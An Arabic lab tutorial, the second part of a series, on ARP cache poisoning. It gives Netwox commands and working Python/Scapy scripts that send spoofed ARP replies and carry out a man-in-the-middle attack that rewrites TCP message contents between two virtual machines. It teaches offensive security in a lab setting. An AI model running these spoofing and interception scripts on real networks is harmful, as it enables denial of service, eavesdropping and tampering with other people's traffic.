هجوم ARP Cache Poisoning (الجزء الثاني)

يوليو ٢٣، ٢٠٢٠

تعلمنا في الدرس السابق وهو الجزء الأول من هذا الدرس عن المفاهيم الأساسية لبروتوكول ARP بشكل عام و أيضًا تعلمنا عن الفكرة الأساسية لهجوم ARP Cache Poisoning وما يمكنه المخترق من تنفيذه بهذا الهجوم. في هذا الدرس سنتعلم كيفية تطبيق هجوم ARP Cache Poisoning باستخدام أدوات جاهزة وأيضًا لن نكتفي بذلك سنقوم ببناء الأداة الخاصة بنا لتنفيذ هذا الهجوم لأن صنعك للشيء يزيد من خبرتك و فهمك له.

تنبيه: هدف الدرس هو هدف تعليمي ولا يسمح استخدام ما يتم ذكره لأهداف أخرى خارجة عن نطاق التعليم. يرجى تطبيق الدرس على بيئة افتراضية وعدم تطبيقه على بيئة حقيقية ( تم شرح كيفية إعداد البيئة الافتراضية من خلال هذا الدرس ).

ما يجب معرفته قبل البدء في هذا الدرس:

1- لغة Python
2- نظام Linux
3- الشبكات Networks
4- إعداد البيئة الافتراضية للتطبيق العملي ( انظر هذا الدرس)

سنتعلم في هذا الدرس:

1- استخدام أداة Netwox لتنفيذ هجوم ARP Cache Poisoning
2- بناء أداة بلغة Python لتنفيذ هجوم ARP Cache Poisoning
3- المشكلة الأساسية في بروتوكول ARP

استخدام أداة Netwox لتنفيذ هجوم ARP Cache Poisoning

أداة Netwox هي عبارة عن حزمة من أكثر من ٢٠٠ أداة متنوعة و مفيدة لاختبار الاختراقات. ما يهمنا هو أداة رقم 80 والتي تتيح لنا ارسال رسائل ARP مزورة إلى جهاز معين.

قم بتحميل الأداة على جهاز المخترق باستخدام هذا الأمر:

sudo apt install -y netwox

من درسنا السابق كان لدينا ثلاثة أجهزة في الشبكة وتم إعداد الأجهزة سابقًا في درس إعداد بيئة التطبيق العملي، فينصح بمراجعة الدرس إذا لم تقم بإعداد البيئة الازمة لتطبيق هذا الدرس. اختر من هذه الثلاثة أجهزة جهاز لمحمد و جهاز لنورة وجهاز للمخترق.

لتنفيذ هجوم ARP Cache Poisoning و الذي سيكون هدفه منع جهاز محمد من التواصل مع جهاز نورة أي سننفذ DOS عن طريق ARP Cache Poisoning كما هو موضح بالصورة.

arp-dos

ولتنفيذ ذلك باستخدام أداة رقم 80 من Netwox ستستخدم صيغة هذا الأمر:

sudo netwox 80 --eth "attacker_mac" --ip "src_ip" --eth-dst "dest_mac" --ip-dst "dest_ip"

1- attacker_mac سنضع هنا عنوان MAC لجهاز المخترق
2- src_ip سنضع هنا عنوان IP لجهاز نورة
3- dest_mac سنضع هنا عنوان MAC للضحية وهو جهاز محمد
4- dest_ip سنضع هنا عنوان IP للضحية وهو جهاز محمد

هذه القيم تختلف من جهاز إلى جهاز آخر ، فقم بتعبأتها بحسب القيم الموجودة في أجهزتك الافتراضية. تستطيع جلب هذه القيم من خلال أمر ifconfig كما هو موضح في هذه الصورة:

بعد تعبأة القيم قم بتنفيذ الأمر. فمثلًا سيكون شكل الأمر كالتالي:

sudo netwox 80 --eth "08:00:27:7b:2a:af" --ip "10.0.2.6" --eth-dst "08:00:27:7d:f0:89" --ip-dst "10.0.2.5"

قم بعد ذلك باستعراض ARP Cache المخزنة في جهاز محمد باستخدام هذا الأمر

arp -n

ستجد أن عنوان IP لجهاز نورة مربوطًا بعنوان MAC لجهاز المخترق. ولو حاول جهاز محمد التواصل مع جهاز نورة لنفترض عن طريق استخدام ping فلن يكون هنالك رد ، كما هو موضح بهذه الصورة:

وهكذا تم تنفيذ تجربة الاختراق بنجاح.

لوقف الاختراق اضغط زر control و زر C ( Ctrl + C) في نافذة أمر أداة Netwox. وبعد مرور دقيقة ستجد ان قيمة المدخل في ARP Cache في جهاز محمد تحدثت واستعادة القيمة الحقيقية وبتالي استطاع التواصل مع جهاز نورة بشكل صحيح.

بناء أداة بلغة Python لتنفيذ هجوم ARP Cache Poisoning

قبل البدء بتطبيق هذا المثال لابد التأكد من إيقاف الاختراق السابق و التأكد من رجوع ARP Cache لوضعها الطبيعي.

في المثال السابق استطعنا ان ننفذ DOS بواسطة ARP Cache Poisoning باستخدام أداة Netwox، ولكن ماذا لو صنعنا الأداة الخاصة بنا و نريد أن ننفذ اختراق أكثر اثرًا من DOS مثل اختراق MITM نوع Active Attack ؟

و هذا ما سنطبقه بهذا المثال باستخدام لغة Python.

arp-dos

سنقوم باستخدام مكتبة Scapy الموجودة في Python والتي تتيح لنا إنشاء و التقاط و تعديل أي packet لبروتوكولات عديدة بالقيم التي نريدها.

قم بتحميل Python و Scapy باستخدام هذه الأوامر:

sudo apt update -y
sudo apt install -y python3
sudo apt install -y python3-pip
sudo pip3 install scapy

قم بإنشاء ملف Python جديد باسم arp-poisoning.py

في الملف سنقوم باستيراد مكتبة Scapy

1.    from scapy.all import *

ثم سنقوم بإنشاء دالة باسم launch_arp_poisoning لإنشاء وارسال رسالة ARP مزورة بالقيم المعطى

1.    def launch_arp_poisoning(dest_mac, src_ip, src_mac):
2.        ether_hdr = Ether()
3.        ether_hdr.dst = dest_mac
4.        arp_hdr = ARP()
5.        arp_hdr.psrc = src_ip
6.        arp_hdr.hwsrc = src_mac
7.        arp_hdr.op = 2 
8.        frame = ether_hdr/arp_hdr
9.        sendp(frame, verbose=0)

الدالة launch_arp_poisoning تأخذ ثلاثة متغيرات أو وسيطات وهي dest_mac عنوان MAC لجهاز الضحية التي سيرسل لها الرسالة المزورة، و src_ip عنوان IP لجهاز الذي سينتحل المخترق شخصيته، و src_mac عنوان MAC لجهاز المخترق.
مكتبة Scapy توفر العديد من Classes لبروتوكولات متنوعة وما يهمنا Ether Class و ARP Class. في الدالة أعلاه، انشأنا object من نوع Ether وهو ether_hdr وقمنا بضبط قيمة عنوان hardware للمرسل إليه dest_mac ، و انشأنا أيضًا object من نوع ARP وهو arp_hdr وقمنا بضبط قيمة عنوان البروتوكول للمرسل src_ip و قيمة عنوان hardware للمرسل src_mac وأيضًا قيمة نوع عملية ARP وهي “ 2” أي ARP Reply. الحقول المتبقية في object ستأخذ القيم التلقائية. و يمكن معرفة جميع الحقول داخل أي بروتكول في Scapy عن طريق استخدام دالة ()ls فمثلًا ls(IP) ستقوم بطباعة كل الحقول داخل IP. في سطر 8 قمنا بجمع كلا من ether_hdr و arp_hdr بواسطة المشغل البرمجي operator ( /) واصبح لدينا frame جاهز للارسال. ثم استخدمنا دالة ()sendp لارسال frame ( سطر 9 ). دالة ()sendp في Scapy تعمل في الطبقة الثانية ( طبقة ربط البيانات Data Link Layer ) أي مخصصة لإرسال frame.

والآن الدالة جاهزة للاستخدام نستطيع مناداتها وإعطائها القيم التي نريدها.

1.    while True:
2.        launch_arp_poisoning(VICTIM1_MAC, VICTIM2_IP, ATTACKER_MAC)
3.        launch_arp_poisoning(VICTIM2_MAC, VICTIM1_IP, ATTACKER_MAC)

لجعل الاختراق مستمرًا وضعنا عبارات المناداة للدالة ضمن while loop وعبارتها الشرطية True أي ستنفذ إلى مالا نهاية.

في سطر 2 سنضع في VICTIM1_MAC قيمة عنوان MAC لجهاز محمد، وفي VICTIM2_IP قيمة عنوان IP لجهاز نورة، وفي ATTACKER_MAC قيمة عنوان MAC لجهاز المخترق. أي في هذا السطر سيشن هجوم ARP Cache Poisoning على جهاز محمد.
أما في سطر 3 سنقوم بالعكس ،سنضع في VICTIM2_MAC قيمة عنوان MAC لجهاز نورة، وفي VICTIM1_IP قيمة عنوان IP لجهاز محمد، وفي ATTACKER_MAC قيمة عنوان MAC لجهاز المخترق. أي في هذا السطر سيشن هجوم ARP Cache Poisoning على جهاز نورة.

والآن أصبحت الأداة جاهزة تقوم ب هجوم ARP Cache Poisoning على جهاز محمد وجهاز نورة واثرها مثل اثر ما فعلناه سابقًا بأداة 80 من Netwox أي ستنفذ DOS . نستطيع تشغيل أداتنا على جهاز المخترق عن طريق هذا الأمر:

sudo python3 arp-poisoning.py

ولكن مثل ما ذكرنا سابقًا نريد تجربة اختراق له أكثر تأثير من مجرد منع الجهازين من التواصل، أي سننفذ MITM (Active Attack). ولتحقيق ذلك سنقوم بتجربة مبسطة توضح الفكرة الأساسية لكيفية عمل MITM بواسطة هجوم ARP Cache Poisoning.

أولًا سنقوم ببناء أداة أخرى تقوم بالتقاط الرسائل بين جهاز محمد وجهاز نورة ومن ثم تعديل محتواها ثم ارسالها للطرف الآخر. على سبيل المثال وللتبسيط، سنقوم بتعديل كلمة “keep” إلى كلمة “send” في أي رسالة في المحادثات بين جهاز محمد و جهاز نورة.

قم بإنشاء ملف Python جديد باسم mitm.py وضع هذا المحتوى بداخله:

1.    from scapy.all import *
2.    
3.    def launch_mitm(pkt):
4.        if pkt[Ether].dst == ATTACKER_MAC:
5.            ip_hdr = IP(src=pkt[IP].src, dst=pkt[IP].dst)
6.            tcp_hdr= TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags=pkt[TCP].flags, seq= pkt[TCP].seq, ack=pkt[TCP].ack)
7.            payload = (bytes(pkt[TCP].payload).decode('utf-8')).lower()
8.            if payload.find("keep") != -1:
9.                data = payload.replace("keep", "send")
10.                spoofed_pkt = ip_hdr/tcp_hdr/data
11.            else:
12.                spoofed_pkt = pkt[IP]
13.            send(spoofed_pkt, verbose=0)
14.    
15.     pkt = sniff(filter='tcp and (ether src '+VICTIM1_MAC+' or ether src '+VICTIM2_MAC+' )',prn=launch_mitm)

في سطر 15، استخدمنا دالة ()sniff من مكتبة Scapy والتي تقوم بالتقاط packets في الشبكة ويمكن فلترة ما يتم التقاطه عن طريق ضبط قيمة المتغير أو الوسيط filter والتي تكون صياغة قيمته صياغة Berkeley Packet Filter (BPF) (لتعرف على الصياغة اقرأ عنه هنا) . تبعًا للقيمة التي وضعناها سيتم التقاط فقط أي packet ضمن اي اتصال من نوع TCP وتكون صادرة من جهاز VICTIM1_MAC أو جهاز VICTIM2_MAC. قم باستبدال VICTIM1_MAC بقيمة عنوان MAC لجهاز محمد و استبدال VICTIM2_MAC بقيمة عنوان MAC لجهاز نورة. لمعالجة كل packet ملتقطة وضعنا دالة callback في قيمة المتغير prn التي تأخذه دالة ()sniff، وهي launch_mitm. ففي كل مره يتم التقاط packet جديدة سيتم مناداة هذه الدالة launch_mitm وارسال packet الملتقطة في المتغير أو الوسيط pkt.

في دالة launch_mitm، ستقوم بمعالجة كل packet مرسلة إلى جهاز المخترق ( سطر 4 ) وستنشئ object من نوع IP و object من نوع TCP بنفس القيم الأساسية الموجودة في packet الملتقطة ( سطر 5 – سطر 6 ). اذا كانت حمولة البيانات payload للـ packet الملتقطة تحتوي على كلمة “keep” ستستبدلها بكلمة “send” وتضعها في packet مزورة وترسلها ( سطر 7 - سطر 13) .أما غير ذلك فلن يتم تغير أي شيء وسيتم اخذ نفس packet الملتقطة ومن ثم ارساله ( سطر 12- سطر 13). هنا استخدمنا دالة ()send لإرسال IP packet وهي دالة تعمل في الطبقة الثالثة ( طبقة الشبكة Network Layer ) أي مخصصة لإرسال IP packet.

والآن أصبحت الأداة جاهزة لتنفيذ MITM. ولكن قبل ان نقوم بتشغيلها علينا أن نقوم بهذه الخطوات لتطبيق تجربتنا بالشكل الصحيح.

أولًا: تأكد من تشغيل أداة هجوم ARP Cache Poisoning التي صنعناها سابقًا arp-poisoning.py على جهاز المخترق

sudo python3 arp-poisoning.py

ثانيًا: افتح نافذه جديدة في Terminal و قم بتفعيل IP Forwarding في جهاز المخترق حتى يتمكن من تمرير packets بين جهاز محمد وجهاز نورة، أي عليه أن يكون router وإلا لن يتمكن من تمرير أي packet.

sudo sysctl net.ipv4.ip_forward=1

ثالثًا: سنقوم بمحاكاة اتصال TCP بين جهاز محمد وجهاز نورة باستخدام أداة Netcat والتي تتيح لنا عمل اتصال سواء كان TCP أو UDP. قم بتحميل Netcat على جهاز محمد وجهاز نورة باستخدام هذه الأوامر:

sudo apt-get install -y netcat

على جهاز نورة قم بتنفيذ هذا الأمر:

nc -l 5555

على جهاز محمد قم بتنفيذ هذا الأمر: ( قم باستبدال IP بعنوان جهازك الافتراضي لنورة)

nc 10.0.2.6 5555

والآن أصبح لدينا اتصال بين جهاز محمد ونورة يستطيعون من خلاله ارسال الرسائل فيما بينهم

رابعًا: لنفترض أن المخترق قرر بأنه لن يكتفي بتمرير الرسائل ولكن يريد أن يعدل عليها. لتحقيق ذلك، قم بتعطيل IP Forwarding على جهاز المخترق

sudo sysctl net.ipv4.ip_forward=0

خامسًا: افتح نافذه جديدة في Terminal على جهاز المخترق وقم بتشغيل أداة mitm.py التي صنعناها سابقًا

sudo python3 mitm.py

والآن إذا كتب محمد على سبيل المثال “ Nora keep the secret “ ستصبح “Nora send the secret” ، كما هو موضح بالصورة

وهكذا تم تنفيذ تجربة الاختراق بنجاح.

تم رفع Source code لملف arp-poisoning.py و ملف mitm.py على حسابي في Github و يمكنكم تحميله من خلال هذا الرابط

المشكلة الأساسية في بروتوكول ARP

يهمنا كمتخصصين أمن سيبراني أن نعرف عن الاختراقات وكيفية تنفيذها بهدف اختبار الاختراقات على الأنظمة التي نحميها لزيادة حمايتها، ولكن المهم جدًا أننا نعرف ماهي المشكلة الأساسية في النظام التي سببت بهذا الاختراق لنتجنب نفس المشكلة عندما نقوم بتصميم النظام. مشكلة بروتوكول ARP بدأت واضحة جدًا بعد التطبيق العملي والتي تم ذكرها أيضًا في الدرس السابق وهي عدم وجود خاصية التحقق من الهوية Authentication مما سبب تبعيات سلبية والتي شاهدنا مثال عليها في هذا الدرس. صحيح أن هجوم ARP Cache Poisoning لازال محدودًا ، أي انه يجب على المخترق ان يكون متصلاً بالشبكة الداخلية أي أن مثل هذا الهجوم لا يتم تنفيذه عن بعد ، ولكن هذا لا يعني انها ليست مشكلة، بل يتوجب علينا التنبه لها. طريقة اكتشاف وتخفيف أثر هجوم ARP Cache Poisoning لم يتم تغطيتها في هذا الدرس ولكن ستترك للقارئ للإبحار فيها.

الخاتمة

في هذا الدرس تعلمنا مهارات عديدة منها استخدام أداة Netwox رقم 80 لتجربة اختراق ARP Cache Poisoning وصنعنا الأداة الخاصة بنا لتجربة اختراق MITM بواسطة ARP Cache Poisoning. وأيضًا تعرفنا على المشكلة الأساسية في بروتوكول ARP والتي يتوجب علينا كمتخصصين أمن سيبراني التعلم منها.

إذا كان لديكم أي أسئلة أو ملاحظات يسعدني أن تتواصلوا معي عبر حسابي في تويتر:
@YARA_ALTEHINI

وأتمنى أنكم استمتعتم واستفدتم من سلسلة دروس هجوم ARP Cache Poisoning ونلقاكم بدرس قادم بإذن الله (。◕‿◕。).

المراجع والمصادر

http://www.cis.syr.edu/~wedu/Teaching/cis758/netw522/netwox-doc_html/html/examples.html
https://scapy.net/
https://www.python.org/
https://en.wikipedia.org/wiki/Netcat